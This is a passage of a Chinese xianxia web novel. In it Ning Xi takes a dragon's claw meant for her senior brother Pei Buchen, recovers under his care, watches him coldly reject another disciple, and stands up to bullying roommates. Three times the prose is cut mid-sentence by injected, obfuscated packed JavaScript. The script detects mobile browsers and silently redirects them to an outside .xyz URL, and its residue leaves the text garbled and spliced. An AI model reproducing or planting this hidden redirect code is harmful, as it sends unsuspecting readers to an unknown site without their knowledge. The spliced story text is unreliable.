“可我是来救大师兄的……” 裴不沉又露出那种“拿你没办法”的笑容:“即使是为了救我也不行。” 想了想,又温声补充:“为了救其他任何人都不行。师妹应该多多关心你自己。” 宁汐有些不服气地咬唇,定定地看着他。 裴不沉被她看得有些无奈,只好开口解释:“我自幼修习心法中有一门金刚护体罩门,断尾扫来时只受了一点皮肉伤。” 心法? 宁汐想到什么,脱口而出:“若是师兄碎了半心,那心法是不是就用不了了?” 裴不沉皱眉:“对,此术需在心脉运转,若心不全则自然废弃。” 那点蹙眉很快消散,他顿了顿,重新开口时带了笑:“不过好端端的,提碎半心做什么?师妹真奇怪,难不成盼着我受伤?” 宁汐肃然,拨浪鼓似的摇头:“我是怕你受伤。” 裴不沉笑眯眯的:“多谢师妹挂念,可我没有这么脆弱的。” 宁汐撇了撇嘴,想起前世瓢泼大雨中他抱着灵位、蜷缩在枯树之下的泥泞模样,心想,才不是呢,她知道的,大师兄非常易碎。 7. 龙爪 她若有所思,裴不沉也注意到了,笑道:“一直看着我,是有什么想说的?” 宁汐犹豫片刻,还是捡了最重要的先问:“大师兄为什么会在龙肚子里?” “你问这个……我在找出路。” 裴不沉站起身,解下背在后背的逐日剑,挥剑示意她看,“应龙身披鳞甲,坚不可摧,我方才同它恶战一场,也不过砍去几片薄鳞,伤不了它的要害。” 剑光所到之处,照亮了胃壁上一处手掌深的伤口,伴随着周围肉块缓缓的蠕动,正不断地渗出暗紫色的龙血。 裴不沉又是一剑挥出,那处伤口便又被他砍深几尺:“于是我想,既然不能从外面伤它,那自内攻之,如何?” 仿佛为了印证他的话,随着最后一剑挥出,如烈日一般的火焰烧灼伤口,整座胃池剧烈地震荡起来。 宁汐握紧浮舟的边缘,免得自己掉下去,同时她也看见了,胃壁上、被裴不沉削过的地方已然裂开了一道狭口,里头隐隐透着光亮。 “看来有用。”裴不沉笑道。 “简兮简兮,方将万舞。”少年忽然低声歌诵起来。 衣袍随血雨腥风而动,剑刃一次次刺向蠕动猩红的肉壁,他愉悦而歌,声如清泉激石。 分明是在生死存亡关头,他却如闲庭信步,自在逍遥。 “日之方中,在前上处。” 硕人俣俣,公庭万舞。 有力如虎,执辔如组。” 血水翻涌,如腥海浪,一叶扁舟一次次被抛向浪头。 而剑尖所到之处,一朵巨大的血色肉莲缓缓盛开。 “山有榛,隰有苓。 云谁之思?西方美人。”*1 最后一剑,莲花心成。 裴不沉突然一手拎起宁汐的后衣领,另一手并指作决,御剑而起,直直朝着肉莲的花心而去。 狂风恶浪从身边呼啸而过,宁汐下意识闭紧眼睛,等再睁开眼时,眼前换了天地。 逐日剑冲破血肉,她被裴不沉带着,立于哀嚎疯狂的巨龙之上。 裴不沉轻巧地反握剑柄,将逐日剑又扎进了不停翻滚扭动的龙背,借以稳住身形,顺便隔着袍袖扶了宁汐一把。 等宁汐站起来,他便适时松开了手,一如往常守礼知文、进退有度。 清凉光滑的锦布从宁汐掌中滑过,犹如捉摸不定的风。 她拇指指尖的倒刺轻微勾到了裴不沉的袖口,拉出一道纤长晶莹的蚕丝线,宁汐立刻有些尴尬。 与她所穿的粗衣不同,白玉京供给内门弟子的衣料皆是上品,采自东海的鲛纱、点缀其中的金线明珠、还有巧夺天工的刺绣工艺……就怕将她卖了也赔不起。 她忐忑地正要开口,裴不沉却浑不在意似的将手一收,垂首向脚下看去:“阎野被我重伤,更会殊死一搏,待会我同它相斗怕是顾不上师妹,我先将师妹送出此处。” 他顿了顿,又轻描淡写道:“方才破出龙胃时大概被妖血溅到了眼睛,视物不清,护不了师妹了,抱歉。” 宁汐心中一紧,连忙踮起脚尖,去看他双眼。 果然如他所说,裴不沉的眼圈周围红肿,眼皮紧闭,眼尾的睫毛都被妖血腐蚀得微微卷曲。 知道自己在这也帮不上什么忙,宁汐只好点头,然而她才转身迈出一步,脚下的龙背如地崩山摧。 龙啸如雷击:“裴氏小儿,毁我龙身,还想全身而退?!” 应龙阎野吃了裴不沉一个大亏,自然不肯轻易放过他,龙爪闪烁寒光,从宁汐背后袭来。 那一瞬间仿佛被无限拉长。 眼盲的裴不沉闻声抬起头,可终究不如五感聪敏之人,还是慢了一步。 宁汐本可以躲开,可若她闪身退让,那尖锐的龙爪便会直接刺穿裴不沉的心口。 她骤然想起自己为什么费劲千辛万苦来到这里——她来救他,即使手无寸铁,即使螳臂当车,她不会再让他如前世一般,潦草死去。 她要救他,即使以她的身躯为代价。 噗嗤—— 利爪穿透血肉,血花飞扬。 下一刻,逐日剑如流星,将龙爪齐根砍下。 龙吟和剑啸响彻天地,没人听见少女微弱的呐喊。 “大师兄。”宁汐讷讷道,“我会救你的。” 她在剧痛中眼前一黑。 * 宁汐做了很长、很长的一个梦。 梦里是热闹的上元夜,凤箫声动,玉壶光转,一夜鱼龙舞。 白玉京贵为百家仙门之首,更被奉为先祖,传闻几千年前出了一个得道飞升的仙人师祖。 如今世道,人妖两分,妖气浑浊,灵气淡薄,能炼成金丹以上的修士都寥寥无几,遑论飞升。 于是白玉京众人对那传闻中飞升的师祖更加崇敬有加,每年上元夜都会举办浩浩荡荡的祭祖大典。 典礼上,凤架开道,香花作雨,鼓瑟吹笙,好不热闹华美。 只不过这样的盛会大多与宁汐无缘,她只是个微不足道的外门弟子,没资格参加。 上元夜祭祖大典对她唯一的意义,便是能拿到分发的纸灯笼。 灯笼大多做成瑞兽形状,上头施加了能让瑞兽动起来的术法,可以维持三日夜。 虽然是个简单的小把戏,但耐不住白玉京财大气粗,一个小小的纸灯笼都能做得精致无比,惹人喜爱。 是以每年上元夜,众弟子都翘首以盼能拿到最漂亮的那只纸灯笼。 宁汐却没有那样好运气,外门峰的弟子素来爱欺负她,在她来领之前就将大的、好的灯笼一抢而空。 等她做完整日差事,匆匆忙忙赶到储物阁时,就只剩下一只乌龟形状的、颜色油绿绿的丑灯笼,孤零零地被扔在地上。 宁汐捡起乌龟灯笼,上头还被谁踩了一脚。 她安静地擦掉上面的脚印,不出意外地看见乌龟的腹部破了一个大洞,小小的乌龟脑袋低垂,已经奄奄一息。 宁汐怜惜地用手指摸了摸那小乌龟的脑袋,觉得它与自己有些同病相怜。 门外“吱呀”一声,宁汐愣愣地看着意料之外的来人。 大师兄裴不沉朝她温和一笑,手里也提着一盏明晃晃的圆月灯笼,不过没施术法,灯笼只随风轻轻摆动。 他走上前,轻轻拉住宁汐的手腕,引导她掐指作决:“太上台星,应变无停。三魂永久,魄无丧倾。急急如律令。”*2 少年嗓音清缓如春冰碎,待最后一声落下,那只灯笼圆圆的龟足一伸,咸鱼打滚似的翻身爬起。 “看,”裴不沉笑道,“师妹救活了它呢。” * 宁汐缓缓睁开眼睛,胸口被龙爪穿过的地方还在隐隐作痛。 她摸了摸心口,摸到有力的心跳,知道自己确实还活着。 还是熟悉的结着蛛网的天花板,是外门峰的弟子居。 她替大师兄挡了一剑,如今怎么会在这里? 弟子居内寂静无声,其他外门弟子依旧不在,只有一人端坐在墙根的木凳上。 裴不沉背对着她,正对着身前木桌上微弱的灯火,埋头穿针。 银白丝线轻轻松松穿过了米粒大的针孔,裴不沉右手拈针,娴熟地穿针引线,缝补着铺在桌面上的月白制服。 宁汐呆呆看了一会,此时裴不沉的模样,不知怎的让她想起烛光中的母亲。 那句诗怎么念来着,什么慈母什么手中线…… 放下剪刀的轻微“咯噔”声,打断了宁汐乱七八糟的思绪。 裴不沉将收尾地线头剪短,又顺手整理好针线筐,才重新穿上补好的外袍。 宁汐眼尖,瞧见那正是被自己拇指倒刺划坏的衣裳。 “师妹醒了。”裴不沉转身,瞧见她愣神的模样,笑道。 宁汐“啊”了一声,立刻道:“大师兄你的眼睛……” “已经无碍了。你呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669065|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有不舒服吗?” 宁汐摇头,放在被面上的手指蜷曲:“抱歉,弄坏了大师兄的袖子。” 裴不沉道:“无妨。” “织补房的弟子不在值吗,居然还要大师兄亲自动手……” “一点小事,用不着劳烦别人。” 裴不沉在她床边坐下,同她隔着两拳距离,“而且我素喜绣活——” 他又朝宁汐眨了眨眼睛,这会才卸下了大师兄的端正,忽地泄露出一点活泼泼的少年气来:“一点嗜好,难登大雅之堂,师妹可不要同别人说啊。” 宁汐认真地点头,又瞥见他背在身后的佩剑,剑柄上挂着一枚晴天娃娃,带着大大的笑脸。 “这个娃娃,也是师兄亲手做的吗?” “那个不是。”裴不沉道,又伸手给她瞧自己袖口上新缝好的金边素樱,“我的绣工可比那个好多了。” 宁汐又低下脑袋,仔仔细细地瞧了半晌,点头称是:“大师兄真厉害,连绣的花都比旁人的好看。” 她说的认真,反而把裴不沉逗笑了。 等他低声笑完,宁汐才不解地开口:“大师兄笑什么?” “师妹的所思所想总是和常人不一样。裴不沉将袖子收回,摇了摇头,“我身为白玉京大弟子,不练剑修法却哀搬弄妇人活计,寻常人见了都该叱我不务正业,师妹倒好,还夸起我来了。” “因为大师兄本来就值得夸。”宁汐鼓了鼓脸颊,不大高兴,“谁敢骂大师兄?!” 裴不沉不置可否,只是柳叶眼又弯起来:“总之,谢谢师妹。” 屋内忽地陷入沉默。 “谢谢师妹。”裴不沉收了笑,忽地又轻声念了一遍。 宁汐清了清喉咙,小声道:“……现在是什么时候了?” “自从你昏迷之后,三日三夜。” 那日宁汐从应龙阎野爪下替裴不沉挡下一击,重伤昏迷,幸而裴不沉即使砍断龙爪,将她救下,又施法护住她的心脉,宁汐这才保全性命。 “不过应龙爪上有毒,妖毒入体,师妹最近还是得小心养着才是。” 宁汐摸了摸自己的心口,果然还有一阵隐约刺痛。 裴不沉盯着她的一举一动,沉沉叹了口气。 至于应龙阎野,它半截身子都被逐日剑凿穿,又丢了一只手爪,已经是强弩之末,又逢白玉京弟子及时赶到围攻,它勉强挣扎了几下,还是不敌。 “只是可惜,它有其他妖物相助,最后还是逃走了。”裴不沉捡起放在床头案上的果品,从手中变出一柄小刀,开始削皮。 “还有你抢来的剑,我替你还回去了。” 宁汐垂着脑袋,提心吊胆地担心他要批评自己,但裴不沉没多说什么。 她又大着胆子朝他看去。晕了三日,现下见到那晶莹饱满的果肉,忍不住犯馋。 好歹她也是伤员,裴不沉来看望自己,总该给她削一个灵果吃吧? 然而她眼巴巴地盯了片刻,裴不沉却仿佛没看见似的,握刀的动作依旧慢吞吞。 室内暝暝如昏,只依靠着一星如豆的灯火照亮。 灯花偶尔噼啪爆裂,小刀滑过果皮“沙沙”作响。 劣质的灯油味、仙果特有的清甜芬芳,还有大师兄身上若有若无的白樱香味缠绕交织……一室寂然。 裴不沉垂着脑袋,专注于手中物事。 他指甲修剪得圆润整齐,指节修长,骨节分明,而指肤皙白如玉,指间夹着薄薄一片刀锋,在暗室内间或滑出冰冷的银光,危险与清丽共舞。 宁汐口干舌燥,吞了口唾沫,又轻轻抠了抠身前柔软的被衾,忽地听见裴不沉开口了: “不过,师妹没有什么想对我说的么? 宁汐没反应过来:“啊?” 裴不沉笑了笑:“……比如,为什么要在剖心台上说谎?为什么闯东山脚战场?还有跳入龙胃、替我挡下龙爪……” “为什么……要来救我?” 8. 告白 他一口气说完这许多个“为什么”,指尖的薄刀停了一瞬,再开口时又带了那令宁汐熟悉的温和笑意:“即使是出于同门间的仰慕之情,师妹未免对我也太好了点。” 宁汐被这骤然爆发的一连串质问冲击,头晕脑胀地又“啊”了一声。 裴不沉无奈地抬眼看她,轻声道:“师妹慢慢想,我可以等。” 她当然不可能同裴不沉坦白自己是重生来的。 他信不信是另一回事,万一因为胡言乱语被误认妖邪夺舍,可是要被立地诛杀。 “我……我也没做什么。”宁汐支支吾吾道,“不过做了一点微小的贡献……” “师妹说谎的功夫还得练一练。” 被这么明晃晃地揶揄可是第一遭,宁汐脸上骤然烫起来,垂死挣扎着抵赖:“大师兄平时降妖除魔,不知救下多少弟子凡民。我、我虽然只是个外门弟子,可也受过大师兄恩惠,不忍见师兄受伤,一时情急,这才行事鲁莽……” 裴不沉摇头,虽然面上依旧带笑,可语气却渐渐严肃:“事关丢性命的大事,你觉得只是自己‘行事鲁莽’而已?” 宁汐缩了缩脖子,却还是不服气地顶嘴:“可我总不能眼睁睁看着大师兄去死!” 大概是没料到向来在自己面前伏低做小的少女会突然提高声量,裴不沉怔了一下,才扭开脸,掩饰性地干咳两声。 片刻,他重新放缓了声调:“都说了,我不会死的。你也知道,大师兄我,呃,英明神武,修为高超……” 他从来没试过这般王婆卖瓜、自吹自夸的行径,自己说着都忍不住笑起来,又对上宁汐肃然认真的小脸,脸上骤然发热。 宁汐道:“嗯,大师兄就是很厉害。” 裴不沉笑不出来了。 哑口无言须臾,他无奈地叹了口气,破罐子破摔道:“……反正你看,我现在好端端的。不用你救。” “那也不行,我就要陪着大师兄。” “我说了不用——还是说,大师兄的话你都不听了?” “大师兄说了也不算!大师兄赶我走我也不走!” 少女倔强地盯着他,异色瞳在烛火下灼灼发亮,犹如一轮燃烧的流金烈日。 裴不沉又沉默。 从前仰慕他的风仪、向他表白示好的女修不是没有,可像宁汐这样的…… 打也不能,骂也不得,他只是名义上的大师兄,没身份更没资格真的管教她。 裴不沉有些烦躁地摁了摁眉心:“那日,孤身跳入龙胃,师妹不害怕吗?” 宁汐诚实地摇了摇头。 她的性子一向寡淡,情绪也稀少,为此不少被其他外门弟子欺辱,整日“木头”长“木头”短地用诨名叫骂。 她犹豫片刻,只是道:“我知道自己不会死的。就算我先倒下,大师兄那么厉害,也会护着我。” 就像前世,明明她与裴不沉关系淡薄,他却能为区区同门之谊、奔赴万里来救自己。 他能为她做到的,宁汐觉得自己也可以。 裴不沉欲言又止。 宁汐道:“师兄是怪我拖后腿了吗?” 毕竟她还是个炼气期都不入外门弟子,在需要剑术修为对抗妖物的战场上,的确是个累赘。 “怎么会。”裴不沉笑了笑,最后几刀,将灵果的红皮削出了两只兔耳朵,“师妹对我这样推心置肺,我却愧于相对。” 他迟疑片刻,又笑道:“你有没有想过,或许师兄并不像你想得那样好,并不值得你做这些? ……就像,那日在剖心台上,若不是我让那赫连家弟子去拿剖心锤,或许他不会死。”* 宁汐撇了撇嘴:“可大师兄是无心的啊。” “……” “这么相信我啊?”裴不沉笑眯眯地看了她一眼,终于将削好的小兔子苹果递给她,“嗯,对,我确实无心。” 宁汐得到了垂涎三尺的美食,喜不自胜,点了点头,埋头啃仙果。 她就知道的,前世裴不沉都能舍身救她这样一个萍水相逢的外门弟子。 大师兄怎么可能是坏人。 * “啪啪啪啪啪啪。” 裴不沉刚走出弟子居,就看见裴从周站在屋前一株白樱树下,一脸戏谑,不住地鼓掌。 裴从周一边朝他走近,一边夸张地感慨:“好感天动地的师兄妹情。” 他又装模作样地抬起袍袖,月白袖口绣了四重樱纹,擦了擦并不存在的眼泪。 “师兄师妹执手相看泪眼,你侬我侬,恶煞情多……我的新话本子终于有素材可写喽。” 若是宁汐在场,便能轻而易举地认出来,这人便是在东山脚拦住她的桃花眼修士,裴不沉的表弟兼好友,裴从周。 裴不沉目不斜视,直接忽略了笑得一脸荡漾的裴从周,笑道:“若是我在你那堆浓词艳句的烂俗本子里看见任何关于宁师妹的编排,我就亲自烧了你房里那堆废纸。” 分明他还是笑着的,可裴从周只觉背后脊背一凉,笑容一僵,立刻委屈地抬起手求饶:“行吧行吧,我保证和你那宁师妹的只言片语都不会出现——裴大师兄,满意了吧?” “说正事。” “咳咳,你怎么知道我的确有事告知——好好好,不说废话。” 裴从周组织了一下语言,道:“是有关赫连含山一案。最近赫连家内部似乎不怎么太平,赫连含山死后,家主之位空悬,赫连家里几个有权威的长老为此打成一团,看起来暂时是顾不上找你兴师问罪咯。” 这倒也在意料之中。裴不沉微微颔首:“依你看,接下来谁最有可能登上赫连家主之位?” “表哥要考我啊?”裴从周笑嘻嘻地看他一眼,“这可难不倒我,我们写话本子的,为了搜集素材可谓是耳听四路,眼观八方——呃,好的你别冲我笑,怪吓人的——我觉得应该是赫连清羽。” 裴不沉脑海中浮现出一道朗月清风般的长者身影。 据说赫连清羽原本不姓赫连,是赫连家上一任家主丧夫后续弦的继室,入赘后便改了妻姓。 这在赫连家倒也算不上离经叛道,赫连家地处昆仑丘,自古以母为尊,境内生子都是跟母姓。 裴从周突然“嘿”了一声:“说起这赫连清羽,他倒是同表哥你挺有缘分。” “改嫁赫连家主之前,赫连清羽与一名凡人育有一子,名叫赫连为。”裴从周刻意压低了声音,却难掩一脸八卦兴奋,“就是上次引得南宫音同她亲爹大闹一场的那个赫、连、为。” 他们这些仙门世家,彼此大多熟识,谁家发生口角,即使再鸡毛蒜皮,一夜之间也能传得满城风雨。 尤其是像南宫音这样,堂堂世家大族的金贵小姐,为了一个出身卑贱的凡人之种,不惜要与家族决裂,这件事早已成了仙门之内所有贵女公子茶余饭后的丑闻。 裴从周酷爱流连花丛,这番八卦自然也逃不了他的耳朵。 裴不沉似乎对那二人的情爱牵扯并不在意:“赫连清羽性子温厚,他若上台,于我和白玉京都未尝不是一件好事。” “那倒是,大概是知道自己出身凡民、比不上世家子的修为,赫连清羽从来不同人争执。就他那面人似的好脾气,估计不敢再找你计较赫连含山之死。这样表哥你也能腾出手来清扫袭击白玉京的妖邪残党。” 裴不沉点了点头,同裴从周并肩往外走了几步,又有些忧愁道:“只怕如今的赫连家代家主不会令他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669066|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如愿。” 正说话间,面前一道御剑华光降落。 裴从周率先认出了来人:“炼器峰的鹤凝师妹!晨安啊,可是找我有——” 林鹤凝依旧那副目下无尘的高傲模样,只略略朝裴从周行了一礼,直直地盯着裴不沉道:“大师兄能否留步一二?我有事同大师兄讲。” 裴从周吃瘪地咂咂嘴,悻悻道:“宁师妹也是,鹤凝师妹也是……怎么一个两个漂亮姑娘全冲着表哥去!就没有人看看我吗!” 裴不沉苦笑,抬手不轻不重地拍了一下他的脑袋:“林师妹找我该是有正事。宁师妹则是……唉,算了。总之你不许胡乱编排。” 林鹤凝眉间微蹙。 裴从周可怜巴巴地揉着后脑勺,应了声“哦”,依依不舍地御剑行了。 待他走远,裴不沉却依旧看着天际,没瞧面前的女修:“鹤凝师妹亲自来寻我,可是剖心锤的查验结果出来了?” 林鹤凝摇了摇头,声音有些干涩:“难道不是正事,我便不能来寻师兄了么?” 裴不沉依旧温和地笑着:“当然可以。” 林鹤凝的眼睛立刻亮起来。 可没等她再说出什么,裴不沉又温声道:“既然我身为大师兄,同门有什么困惑难处都可告知于我,裴某绵薄之力,定然相助。” 林鹤凝的声音再度苦涩:“师兄你明知道我不是那个意思……我们明明相识了那样久,你明明知道我的心意——” 一阵清风拂过,夹着淡淡白樱花香,纷飞花雨中,少年一袭锦袍皓然,眉目清冷,如高不可攀的天边明月,就这么静静地看着她失态。 “喔,我知道。”裴不沉道,“所以呢?” 他仿佛完全变了一个人。 裴不沉不耐烦地将目光移向别处,瞥见樱枝随风摇摆,一只小小的黑蚂正顺着枝芽慢慢往上爬。 他随手捉住那只蚂蚁,逗弄几下,任由它被手指弄得晕头转向,缠绕攀爬。 林鹤凝一眨不眨地盯着眼前百无聊赖玩弄蚂蚁的少年,这幅与平日温和大相径庭的模样,她见过不止一次了。 她第一次向裴不沉表露心意后,对方彬彬有礼地拒绝,然而随着她的不依不饶,裴不沉逐渐冷淡下来,似乎觉得要抽空应付她这样的痴情女子很麻烦。 他总是这样,不屑一顾地、轻而易举地,将他人真心踩在脚下,践踏入泥。 林鹤凝惨然一笑,心想她的大师兄,难道当真是个无心无情之人么? 她脸色又白了些许,但依旧保持着傲骨,只是尾音有些颤抖:“我知道师兄看不起我,甚至我也瞧不起我自己——” 裴不沉轻轻触碰那只蚂蚁的触角,轻笑:“师妹有自知之明就好。” 林鹤凝浑身剧烈地抖了一下,眼里涌上一股强烈的不甘和恨意:“对,我是不配——那宁汐呢?她一个外门弟子,凭什么、凭什么值得师兄你另眼相待?!别以为我看不出来,这些日子师兄不寝不食地守在她的床边,不就是对她有了特殊之情?” 裴不沉终于有了一点反应,他皱起眉,第一次抬眼看她:“你在胡说什么。” 他依旧是清清淡淡的语气,却逼得林鹤凝的声音越加高亢,几乎失掉了人前那副清高自傲的仪态:“我不行、我不行的话,难道那姓宁的就可以?!” “她是我的师妹,你也是我的师妹,你们有何分别?”裴不沉皱着眉笑,“你不行,而宁师妹她……当然也不可以。” 完全意料之外的答案,原本双眼已经蓄满泪水的林鹤凝突然愕住了。 而裴不沉又轻啧一声,顺手碾死那只蚂蚁,拍了拍掌心,扔掉残留在掌心的湿血和虫粉。 “没有人可以。”他淡声道。 9. 争执 裴不沉走后,宁汐一觉黑甜,昏昏沉沉又睡到了第二日。 从前她在外门可没睡过这样安稳的好觉,好到她醒来时,对着高升灿烂的日头都还有些发怔。 弟子居里依旧一个人都没有。 奇怪,宁汐心里嘀咕,再喜欢看热闹,其他人也该回来了。外门事务繁杂,所有人白日都累得如拉磨转圈的老驴,若是再熬夜不休,第二日定然是顶不住的。 可今天其他人怎么都没回来? 宁汐正翻身下榻,说曹操曹操到,她刚走到门边,便听见纷乱沓来的脚步声。 “那木头真该死,自己跑到大师兄面前献殷勤,却把活计都丢给我们来做!” “你可小点声吧!人家现在可是大师兄跟前的红人,没见当时她昏迷不醒都是大师兄亲自抱回来的么!哼,明明全身都是脏血,也只有大师兄那样宽厚仁爱才不计较!” “大师兄心善,老娘可没他那样的菩萨心肠!凭什么她晕了就要把活计都丢给我们做?!你知道老娘为了打扫干净问仙堂梁上那陈年积攒的尘灰用了多久吗?啊!天杀的毁了老娘的美容觉,老娘跟那姓宁的不共戴天!” 有个陌生的声音小声道:“可、可按照值事表,本月本就该由卫师兄您打扫问仙堂呀。” 屋外寂静一瞬。 宁汐听出了那堆吵吵嚷嚷的人都是她的室友,大多数都曾经欺凌过她。 原来不是好心给她留清净,是事多被绊住脚了。 不过,他们可不是见同门受伤就会主动帮忙代值的大善人,今日这是太阳打西边出来了? 仿佛为了解答她的疑问,门外卫书又骂骂咧咧开了:“你是管事还是我是管事?!我让那木头往东你看看她敢不敢往西?!别以为有大师兄撑腰她就能在外门峰横着走了,今日我就要让她看看这外门峰到底是谁做主!” 怎的又扯上了大师兄? 宁汐蹙眉思忖,心道难不成是大师兄见她受伤,便让其他外门弟子替她代班了吧?不过这倒是能解释卫书等人的反常—— 她还没来得及多想,门便被“砰”地撞开,为首的卫书大摇大摆跨进门槛,同站在屋内的宁汐正正打了照面。 不满、惊讶、尴尬和慌张走马灯似的从那张涂抹了厚厚脂粉的女气面庞上划过,情绪变幻之快简直令宁汐叹为观止。 卫书忽地想起了什么,捂着脖子,往后大跳一步,两只眼睛瞪得□□一般:“刚刚你都听到了?!” 宁汐:…… 她又不是得了癔症,不会一见面拿簪子捅人,这人至于害怕成这样么? 然而卫书大概是被她吓出了心理阴影,接连又后退了几步,愣是不肯上前:“你别以为找了大师兄当靠山,就能在外门峰耀武扬威!老娘眼里可容不得沙子!” 宁汐不理他,返身回去,从墙根书柜里翻出厚厚一摞书册,又走回来,直接塞进了卫书的怀里。 全程她一言不发,卫书一开始还二丈摸不着头脑,下意识翻开了那叠书册,眉头就纠结了起来:“你给老娘看外门峰弟子轮值表作甚?” 宁汐平静道:“外门弟子值守做活,本有法度。从前你们强行推活给我的事情,我不再计较,但今后,不该是我干的活,谁也别想让我做。” 卫书呆住了,片刻,他那张被腻白脂粉盖住的面皮迅速浮起了血色:“反了你了这是!一个肉体凡胎的废柴也敢骑到老娘头上?!” 从前她可以搞不在意,可既然大师兄已经为了她出头,她就不能再浑浑噩噩下去,辜负他的好心。 【师妹应该多关心自己。】 大师兄说的对。 她不该再懦弱下去了。 宁汐毫无畏惧,忽地朗声道:“万物万灵,万生万象——剑出!” “铮——”卫书背后的佩剑闻声而出,眨眼间飞到了宁汐手中。 少女乌发被剑风微微扬起,琥珀色的异色瞳倒映出剑光,稳稳地单手握剑。 而卫书的脸色已然差到不能看。 他身后,一众弟子皆是大惊失色。 “卫、卫师兄,这是怎么回事啊!不是说这姓宁的连练气都没入吗!怎么、怎么她会御剑术?!” “而且她还抢了你的剑!” 仙门之中,从来以强者为尊。即使是在恪守清规的白玉京,暗地里也隐约形成了以修为高低排序的鄙视链。 先前宁汐便是因为凡人资质、未开气海而屡次遭受欺凌。毕竟,她连灵剑都驱使不动,即使不满、即使试图反抗,也打不过已经开始修炼的弟子。 修士之间,虽只是境界上只是一阶之分,可真正交起手来才知晓这一阶就已是天差地别。 方才宁汐不仅使出了她本不该会的御剑术,还强行夺走了卫书的本命剑——本命剑乃是主人骨血所化,随心意动,非碾压似的灵力差别,决无可能被外人强行夺走。 可宁汐做起来轻轻松松…… 上一个这样越级挑战、还大获成功的,众人脑海中一时只能想到大师兄裴不沉的名字。 难不成这木头妮子当真获得了大师兄的青眼,私下里得了他的传授? 否则如何解释她这一日千里的修为长进?! 再仔细一看,这位原本任由人揉圆搓扁的小师妹长得倒确实是…… 怎么说呢,少女绝称不上是一眼惊艳的长相,因为外门衣食简陋,她穿着寻常劣质的粗布褐衣,衣裳还不甚合体,更衬得她瘦小单薄,像只没发育完全的小猴子。 偏偏她的发尾还带了点蜷曲,远看就有了几分炸毛、不修边幅的窘态。 只是,盯着那双异色的狐狸眼看久了,任何人都会情不自禁地屏住呼吸,仿佛被一轮最灿烂炙热的炎日所摄住,抑或陷入汹涌粘稠的岩浆,心脏都开始砰砰直跳。 有些定力较差的年轻男弟子已经面红耳赤地埋下了脑袋,心道这女修怎么美得妖里妖气、这样惑人心神。 “卫、卫师兄,怎么办啊?若是大师兄他真的……我们再同宁师妹争执下去,他会不会来找我们算账?” “你问老娘,老娘问谁啊!”卫书暴跳如雷,怒吼道,“统统闭嘴!” 众人立时噤若寒蝉。 卫书大步上前,一把抢回自己的佩剑,狠狠瞪了宁汐一眼,摔下一句“你给老娘等着”,就转身出了门。 他努力想装作镇定,可临出门时还是被门槛绊了一跤,摔了个狗吃泥,脸上的妆都花了一半。 一见领头管事吃瘪,其余众弟子也纷纷作鸟兽散。 宁汐站在原地,等看不见那群乌泱泱人的身影,才松了口气。 方才强行夺剑,催动灵气,受了应龙余毒的心口不住狂跳,现在胸口都像针扎似的刺痛。 其实方才她也只是讨巧,占了卫书不察的便宜而已。 东山脚下她成功学会了御剑术,这是她敢动手的第一重保障。 第二重,便是她知晓卫书一贯瞧不起她,决不会想到她会出手顶撞、也决不会想到她能使出御剑术法。 可是,就像燕雀焉知鸿鹄之志,鸿鹄又何曾知晓燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669067|173063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雀在想什么? 她是小人物不假,可有时候,小人物也能爆发出巨大的力量。 剑主不设防,夺剑的成功几率便能大大提高,是以宁汐才侥幸胜了一回。 她慢慢按摩着刺痛的心口,若有所思。 她的境界还是太低了,这么弱,以后要是再碰到危险,怎么保全自己、怎么帮大师兄的忙? 想到东山脚下、应龙胃内的一幕幕,宁汐攥紧了拳。 虽然上次机缘巧合下她悟了道、学会了御剑术,可除此之外,她对修炼还是一窍不通。 修仙之道,应该先学会吐纳生息,引天地日月灵气入体,冲开气海,始成练气。 练气于内,内化成丹,入金丹期,然后元婴,然后飞升。 宁汐想了想,决定今天出门,去藏书阁借几本修炼的书册,自己试着打坐吐息。 她没想过去求裴不沉帮忙。 一来,如今妖邪袭击完白玉京,虽然比起前世来死伤已经大大减少,仙门也没有覆灭,但战后尸体收敛、伤员救治、房舍重建等等诸般事项迫在眉睫,大师兄肯定很忙。宁汐不想再给他添加负担。 二来,她想学得不过是些最基础皮毛的入门术法,简单程度就像凡人启蒙时读的三字经差不多,所以宁汐觉得,她自己应该……也能看得懂吧? 说干就干,宁汐推开门,迈出弟子居。 * 白玉京的藏书阁离外门峰不远,正好处在内门峰与外门峰之间,是为了保证两边弟子都随时借阅书籍、鼓励弟子上进所设。 宁汐到了藏书阁外,里头一群人正匆匆忙忙往外走。 瞧见宁汐,为首的一个桃花眼修士愣了一下,朝她招手:“宁师妹,你怎么还在这里?” 